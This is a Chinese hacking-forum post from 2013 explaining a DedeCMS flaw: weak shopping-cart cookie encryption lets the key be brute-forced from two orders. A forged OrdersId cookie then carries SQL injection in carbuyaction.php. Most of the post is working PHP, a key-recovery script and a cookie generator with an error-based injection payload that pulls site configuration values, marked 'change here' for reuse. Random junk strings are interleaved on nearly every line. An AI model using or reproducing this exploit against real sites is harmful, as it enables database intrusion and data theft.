中国网络渗透测试联盟
标题:
织梦CMS漏洞dedecms漏洞SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-13 23:58
标题:
织梦CMS漏洞dedecms漏洞SQL注入漏洞
www.xxx.com/plus/search.php?keyword=
' ^ G. Z( H$ m/ T/ j7 ^
在 include/shopcar.class.php中
- ?9 I' \- |& G7 L' b, g% W+ l
先看一下这个shopcar类是如何生成cookie的
6 d9 t$ ] B5 ?3 k. Z2 P
239 function saveCookie($key,$value)
$ i/ a' k5 _$ D0 B- t
240 {
! E7 S/ b8 r. Q( a9 x, o+ m: b
241 if(is_array($value))
7 P& Z% o0 Z% a) p6 Q" d6 Y$ R7 t
242 {
* c/ X/ R/ C1 L/ q0 G7 ~
243 $value = $this->enCrypt($this->enCode($value));
' _" m6 Q4 s+ h0 x9 X+ q
244 }
$ K" s- f- Z; C- s9 \/ `
245 else
, Z; O3 {9 K' T$ B; o/ u' p
246 {
2 Q* D9 Z) R0 l7 \. x
247 $value = $this->enCrypt($value);
7 w2 d1 y; E4 y% G# `; U6 E+ a
248 }
& ?+ ~/ h' W o. j2 [
249 setcookie($key,$value,time()+36000,’/');
' y/ t5 @5 h7 S
250 }
* M: {8 q# K) _% Y Y" t: h. O
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
. C! v& v% K ]
186 function enCrypt($txt)
! ]+ D, x; e( L4 L s6 P1 P/ w: k4 S
187 {
( R- M: n" s# P6 r
188 srand((double)microtime() * 1000000);
# g& e$ T& o8 H' \3 i3 a+ W
189 $encrypt_key = md5(rand(0, 32000));
) X! F1 b3 J b% d2 s2 S
190 $ctr = 0;
; D: n" u$ w. ?! w5 F3 c
191 $tmp = ”;
4 K5 i5 U/ V9 {, k# O; |
192 for($i = 0; $i < strlen($txt); $i++)
4 @. e( V8 M. Y
193 {
( Z( b# W& M6 z2 q
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
* D! ?9 _4 h3 W4 Q, B8 S8 D
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
8 n2 M! X# |% U/ e' p; P0 R* S8 f Y
196 }
" w& e9 d& q* C0 y0 a0 R
197 return base64_encode($this->setKey($tmp));
) `9 P: u+ ]( [( C P; t) P. _
198 }
+ i' c+ R4 Y1 k. J \/ F
213 function setKey($txt)
: A+ N, y5 t# s1 k6 ]; _: m7 e
214 {
( U8 ]% E! E; O# @6 [/ h
215 global $cfg_cookie_encode;
6 { i7 p5 J# U2 [, e8 i4 B8 n2 |0 }- x
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
* X3 i5 h4 Q' N2 ^9 K
217 $ctr = 0;
, Z0 ^+ h( c" d! {
218 $tmp = ”;
# L g$ R1 {; s- C' ~5 \1 A% s
219 for($i = 0; $i < strlen($txt); $i++)
0 e& r8 } `3 A$ M3 V- e
220 {
7 W: v8 h; U, d5 m3 m7 ~3 ]6 O
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
7 B) B/ w7 J" n2 N$ d" H
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
& \ B! o& Q, r' U" w
223 }
. `, _, D+ H0 U/ ]5 X' {8 u
224 return $tmp;
" `) g) f- Z' o6 B
225 }
' H& a( n0 A6 E& _# V
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
: a! [- }+ A% u4 U
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
' X: L8 b/ J/ ?5 V7 O1 H
具体代码如下:
0 Y0 Z) I: U% d( M! |9 M5 D$ x
<?php
: u9 r1 R5 B' x. |
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
5 ]' D/ B! V' B# h1 u
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
) @) r! f* _6 ~* N1 m+ x/ H: n) N5 f
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
! L: [6 C/ g4 R, A5 z! O" k
function reStrCode($code,$string)
8 u3 O) r: Z4 ~
{
8 P) k& K/ f# L; |# h/ x9 w
$code = base64_decode($code);
8 V& ?3 k+ L7 F E
$key = “”;
3 P7 s# D3 |2 X) M
for($i=0 ; $i<32 ; $i++)
$ @9 {, S1 L, s% D1 G- g% [0 l6 E+ i
{
. X) @/ O4 a: d# s, n
$key .= $string[$i] ^ $code[$i];
1 A" e3 ?$ ~2 G) N
}
& c0 _$ x0 A- ?/ a5 A/ z
return $key;
9 p& m9 Q. | Y* u# W f+ e
}
8 Y8 u# @; U6 D3 p4 j1 B5 c: l5 J
function getKeys($cookie,$plantxt)
$ a3 Z. }7 ~8 v, b' f8 C
{
* S+ l6 B( A4 h
$tmp = $cookie;
) [( ^2 a( ?: l' e$ ]! L2 I$ N. z
$results = array();
7 H6 k6 Q* w, t7 p; M* r" C! L
for($j=0 ; $j < 32000; $j++)
" `3 t8 Y. r( O+ [6 e0 y: W
{
$ r7 U! r1 m: F2 `* e9 W2 F! u
. r& |# x( K2 G) @
$txt = $plantxt;
# c/ y1 V, R8 X4 }; k5 H/ \ {
$ctr = 0;
, f. I: C. Z7 D- O# U
$tmp = ”;
4 P5 o# W% S# l) c/ @2 `
$encrypt_key = md5($j);
6 k7 \. x/ k. r: V5 X0 Z
for($i =0; $i < strlen($txt); $i ++)
2 H' A6 K" `" i* V# L
{
9 v; k: M; [( f- H: y
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
, j, E( [: W8 W: F6 Y ~5 G$ n) j* u0 t9 T
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
) j, }- s2 Y& Y- @: e$ n
}
3 q( x7 X" Y/ x1 u
$string = $tmp;
7 _5 \2 C- D! A+ t0 ?
$code = $cookie;
- f: `* y4 B9 T# V+ [
$result = reStrCode($code,$string);
# o; w& g0 O. O7 \) [3 t- z
if(eregi(‘^[a-z0-9]+$’,$result))
/ K; q) [7 z Z R. r0 y" H& T
{
0 z* T# `$ S4 }) q
echo $result.”\n”;
. t; q. |. A8 ^
$results[] = $result;
Z6 q: z# q1 a
}
) ?8 t6 [0 h5 _* G; P3 u P
}
) f6 Z5 C V( e* I+ |
return $results;
! ~4 {# Q- w0 p6 S, Q
}
g7 O& o5 l8 \
$results1 = getKeys($cookie1,$plantxt);
a6 e( ?0 I* E. D S
$results2 = getKeys($cookie2,$plantxt);
( |2 G5 H! N+ A; `- w
print “\n——————–real key————————–\n”;
2 R! q- I+ J7 W4 u7 ^0 j
foreach($results1 as $test1)
, D, h3 ?0 X9 C& t- j: P G; ?; w
{
- f+ Y2 `" P6 M% ~% \! x5 T
foreach($results2 as $test2)
8 [, E z; A6 B4 q0 q2 a
{
, L. ~: Y* h, J
if($test1 == $test2)
2 `6 a7 Q* _( v! [0 d
{
* w4 F1 `7 v& u8 h: C
echo $test1.”\n”;
3 |) o: k! p X/ j/ Y
}
3 Y; p0 g _ T8 i0 }0 m- ^! C
}
/ q5 U3 j% P8 K% X, X+ s2 f1 n) U" j
}
b, s5 f3 I! F8 I6 g
?>
: E$ k" C3 m1 {% o
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
" c/ w- t! r' j* b4 n' o3 w9 \
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
; s8 j, K" K; H: `: J$ w8 y) d( C: n( W
然后推算出md5(strtolower($cfg_cookie_encode))
+ T* q v. G: B& b& u# V0 J4 C
得到这个key之后,我们就可以构造任意购物车的cookie
8 D" W7 [, W/ E. h: ~7 @6 ~
接着看
9 A! j3 Q* c: P2 P1 Z' X- V
20 class MemberShops
; f; ?2 e- e q
21 {
6 c) @& |" L1 s8 Z' J1 A
22 var $OrdersId;
' s) T, [# M! d+ F
23 var $productsId;
3 i5 E1 k4 E+ R, @! J
24
0 n6 N9 ~' | g1 |0 G
25 function __construct()
& Q. R0 O: w: l, u9 R
26 {
: D! q% D) S9 ?/ w% f7 G b
27 $this->OrdersId = $this->getCookie(“OrdersId”);
7 d& ~1 ]: E8 i- ?! @" @7 v2 S
28 if(empty($this->OrdersId))
: ]! v5 c8 r; n
29 {
' E/ U9 u L2 K' y6 S. c4 {2 w
30 $this->OrdersId = $this->MakeOrders();
. R9 k \) l) a" ~
31 }
: T; [( y0 h6 _4 @4 L/ R* R
32 }
; c: C; J; @7 X2 l; ?4 V
发现OrderId是从cookie里面获取的
# X3 q2 T* D) G9 j0 r: h
然后
3 L4 \ Z, I1 X* Q4 o
/plus/carbuyaction.php中的
$ I' L- C9 k5 N
29 $cart = new MemberShops();
0 q# [0 t1 L& u( l& J. k
39 $OrdersId = $cart->OrdersId; //本次记录的订单号
7 Y4 B8 b5 i- {. i- j
……
. O7 d5 K X5 \5 B
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
/ y, R( |) p2 l+ q( n
接着我们就可以注入了
* Q, y2 U4 n1 ]; i; p# V' K
通过利用下面代码生成cookie:
0 q' k! M3 W! U- Q& N) f" k, R( g
<?php
/ N' ]! p( F1 r, b# M
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
- c8 y% W, z# |& a
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
3 w9 s5 M8 J) _8 l e4 M" b
function setKey($txt)
$ |# h6 ? f+ x+ n4 E
{
4 t: o9 }7 X7 G
global $encrypt_key;
( }$ f& d( |- I3 G& D) x4 k/ v3 g
$ctr = 0;
4 ^1 z6 y4 j" d% k0 c, _+ D
$tmp = ”;
. u0 F- Y8 f- F2 G7 S6 @% W
for($i = 0; $i < strlen($txt); $i++)
! x4 O1 n, S8 P8 K) T7 P
{
& o/ a Q8 K5 P' F4 t+ M9 [3 y% l1 h
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
/ I) f7 {! J' |) b
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
0 i# x, F$ c5 E3 S* v) \( d
}
) I/ m( G7 j W% s# n, ^
return $tmp;
+ E& g! F" z7 J1 }4 W" ~7 o. t* h
}
& h, d7 K3 Q9 B
function enCrypt($txt)
' f P# D7 i8 J/ w6 ]. l. U0 G* b
{
5 b" b7 @0 t; |# D
srand((double)microtime() * 1000000);
: Y: G5 x! `: j" h8 g
$encrypt_key = md5(rand(0, 32000));
2 c4 C7 \2 i* h4 s( f, Y
$ctr = 0;
+ n* t: O2 } j: d0 c' U* ^ c4 J
$tmp = ”;
- e& c7 r6 `/ O1 l% t7 [3 N
for($i = 0; $i < strlen($txt); $i++)
: D1 ]3 ]( D% N
{
; G2 |& G/ y4 z7 Z% A
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# C. e$ b% e% u+ J3 l
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
* }- X3 L# l, U" h' @
}
! X+ @7 S; ?! g( J! J6 t8 f
return base64_encode(setKey($tmp));
6 z! b& U* z7 e0 A" s$ S. H! [
}
) ~ x0 v5 g% L' s" x$ P. `3 P
for($dest =0;$dest = enCrypt($txt);)
* s1 D3 j0 y* R/ X
{
/ Y1 _4 J% R7 g0 N; c5 ^* ` R$ c; W
if(!strpos($dest,’+'))
. l( k$ e, z) G- W
{
* X0 J. ~+ n& o+ A) h4 ^
break;
+ q2 s+ p$ O/ k* u0 y8 Y
}
; j& o- ?3 U$ F/ C) @; h+ Y
}
" [) Q2 j/ @9 `1 m% j
echo $dest.”\n”;
- ]. X8 H! R1 F1 N
?>
) w# [3 }3 M0 H; }- K$ U8 ~
6 Y/ m5 h# ]+ C! `
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2